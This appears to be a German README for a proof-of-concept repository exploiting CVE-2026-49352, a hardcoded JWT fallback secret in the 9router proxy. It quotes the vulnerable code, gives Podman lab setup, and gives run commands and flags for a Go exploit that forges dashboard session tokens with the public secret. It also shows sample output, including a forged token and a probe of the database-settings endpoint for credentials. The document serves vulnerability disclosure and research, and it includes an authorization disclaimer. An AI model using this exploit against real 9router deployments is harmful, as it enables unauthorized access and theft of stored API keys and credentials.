
Exploitability-PoC für CVE-2026-49352 (9router: Umgehung der Authentifizierung durch hartkodiertes JWT-Secret)
CVE-2026-49352 ist eine Schwachstelle in 9router, einem selbst gehosteten Node.js/Next.js-Proxy für KI-Codierungs-Tools. Das JWT der Dashboard-Sitzung wird mit einem Geheimnis signiert, das aus der Umgebungsvariable JWT_SECRET stammt. Wenn diese Variable nicht gesetzt ist, fallen sowohl der Login-Handler als auch die Request-Guard auf dasselbe hartcodierte Literal zurück:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
Da diese Zeichenkette im öffentlichen Repository eingecheckt ist, ist sie überhaupt kein Geheimnis. Jeder Angreifer kann damit ein Token signieren und als authentifizierter Dashboard-Benutzer behandelt werden.
| Betroffener Bereich | Behoben in |
|---|---|
| 0.2.21 – 0.4.41 | 0.4.45 |
Das Fallback-Geheimnis ist in zwei unabhängigen Dateien identisch definiert.
src/app/api/auth/login/route.js — stellt das Sitzungstoken beim Login aus:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
const token = await new SignJWT({ authenticated: true })
.setProtectedHeader({ alg: "HS256" })
.setExpirationTime("24h")
.sign(SECRET);
src/dashboardGuard.js — verifiziert das Token bei jeder geschützten Anfrage:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
async function hasValidToken(request) {
const token = request.cookies.get("auth_token")?.value;
if (!token) return false;
try {
await jwtVerify(token, SECRET);
return true;
} catch {
return false;
}
}
Das Bestehen von hasValidToken() ist die einzige Bedingung, die geprüft wird, bevor Zugriff auf /dashboard und die in ALWAYS_PROTECTED aufgeführten Endpunkte (einschließlich /api/settings/database) gewährt wird. Es gibt keine Suche nach einem Sitzungsdatensatz und keine Validierung, woher das Token stammt – eine gültige Signatur wird als Identitätsnachweis behandelt.
Die Umgehung wurde bestätigt und ist gegen einen Build des betroffenen Codebestands reproduzierbar. Mit nicht gesetzter JWT_SECRET:
[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed
[3] Probing /api/settings/database for exposed credentials...
[+] /api/settings/database returned 200
Die Schwachstelle tritt nur auf, wenn JWT_SECRET vom Betreiber nie gesetzt wurde – das ist der Standard bei den meisten Schnellstart-/docker-run-Bereitstellungen, die den Schritt der Umgebungskonfiguration überspringen. Bereitstellungen, die JWT_SECRET explizit auf einen zufälligen Wert setzen, sind nicht betroffen, da SECRET einmalig beim Laden des Moduls abgeleitet wird und nie auf das Fallback zurückfällt.
cve-2026-49352-poc/
├── dockerfile # 9router built from source, pinned to v0.4.30 (affected)
├── podman-compose.yml # build + run, JWT_SECRET intentionally omitted
└── exploit/
├── go.mod # requires github.com/golang-jwt/jwt/v5
└── exploit.go # PoC — Go
| Tool | Version | Hinweise |
|---|---|---|
| Podman | ≥ 4.0 | podman-compose erforderlich |
| Go | ≥ 1.22 | Zum lokalen Ausführen des Exploits |
Externe Go-Abhängigkeit: github.com/golang-jwt/jwt/v5.
podman-compose build
podman-compose up -d
Warten Sie, bis die App bereit gemeldet ist, und prüfen Sie dann:
curl -si http://localhost:20128/dashboard | head -1
# Expected: HTTP/1.1 307 (redirect to /login, no session yet)
cd exploit
go run exploit.go -target http://localhost:20128
Fügen Sie -probe hinzu, um mit dem gefälschten Cookie auch /api/settings/database anzufragen:
go run exploit.go -target http://localhost:20128 -probe
Verfügbare Flags:
podman-compose down -v
[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJleHAiOjI5MTgzNjMwMTksImlhdCI6MTc4MzA2NzAxOX0.yYdNxS-nYuxv609j1w7juimNVM1RROAfVRjZyt6TU3M
[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed against http://localhost:20128
[3] Probing /api/settings/database for exposed credentials (per advisory attack scenario)...
[+] /api/settings/database returned 200
{"settings":{},"providerConnections":[],"providerNodes":[],"proxyPools":[],"apiKeys":[],"combos":[],"modelAliases":{},"customModels":[],"mitmAlias":{},"pricing":{}}
| Ressource | Link |
|---|---|
| Sicherheitshinweis | GHSA-jphh-m39h-6gwx |
| Verwundbares Repository | decolua/9router |
| Vollständige Analyse – Blog-Beitrag | return-zero.dev/posts/cve-2026-49352 |
Dieses Repository dient ausschließlich Bildungszwecken und der lokalen Ausnutzbarkeitsanalyse. Alle Tests wurden in einer selbst gehosteten Containerumgebung durchgeführt. Führen Sie diesen PoC nicht gegen Systeme aus, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben.
| Flag | Default | Beschreibung |
|---|
-target | http://localhost:20128 | Basis-URL der 9router-Instanz |
-secret | 9router-default-secret-change-me | JWT-Fallback-Geheimnis zum Fälschen |
-ttl | 36 * 365 * 24h | Gültigkeitsdauer des gefälschten Tokens |
-probe | false | Fragt zusätzlich /api/settings/database ab |